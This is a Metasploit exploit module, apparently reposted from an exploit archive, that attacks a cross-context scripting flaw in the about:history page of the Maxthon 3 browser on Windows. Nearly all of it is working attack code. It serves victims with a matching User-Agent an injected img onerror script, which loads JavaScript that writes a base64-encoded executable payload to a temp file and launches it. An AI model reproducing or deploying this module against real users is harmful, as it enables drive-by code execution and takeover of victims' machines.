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Maxthon3 about:history XCS Trusted Zone Code Execution
[##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Maxthon3 about:history XCS Trusted Zone Code Execution',
'Description' => %q{
Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
Injection in such privileged/trusted browser zone can be used to modify
configuration settings and execute arbitrary commands.
Please note this module only works against specific versions of XCS. Currently,
we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
'sinn3r', # msf module
'juan vazquez' # msf module
],
'References' =>
[
['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
['Maxthon 3 (prior to 3.3) on Windows', {} ]
],
'DisclosureDate' => 'Nov 26 2012',
'DefaultTarget' => 0
))
end
def on_request_uri(cli, request)
if request.headers['User-agent'] !~ /Maxthon\/3/ or request.headers['User-agent'] !~ /AppleWebKit\/534.12/
print_status("Sending 404 for User-Agent #{request.headers['User-agent']}")
send_not_found(cli)
return
end
html_hdr = %Q|
<html>
<head>
<title>Loading</title>
|
html_ftr = %Q|
</head>
<body >
<h1>Loading</h1>
</body></html>
|
case request.uri
when /\?jspayload/
p = regenerate_payload(cli)
if (p.nil?)
send_not_found(cli)
return
end
# We're going to run this through unescape(), so make sure
# everything is encoded
penc = generate_payload_exe
penc2 = Rex::Text.encode_base64(penc)
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
content = %Q|
if(maxthon.program)
{
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
var fileObj = maxthon.io.File(fileTemp);
maxthon.io.FileWriter(fileTemp);
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
maxthon.program.Program.launch(fileTemp.name_,"C:");
}
|
when /\?history/
js = %Q|
window.onload = function() {
location.href = "about:history";
}
|
content = %Q|
#{html_hdr}
<script>
#{js}
</script>
#{html_ftr}
|
when get_resource()
print_status("Sending #{self.name} payload for request #{request.uri}")
js = %Q|
url = location.href;
url2 = url + "?jspayload=1";
inj = "?history#%22/><img src=a onerror=%22"
inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
window.location = unescape(inj) + inj_1;
|
content = %Q|
#{html_hdr}
<script>
#{js}
</script>
#{html_ftr}
|
else
print_status("Sending 404 for request #{request.uri}")
send_not_found(cli)
return
end
send_response_html(cli, content)
end
end
# 0day.today [2024-11-15] #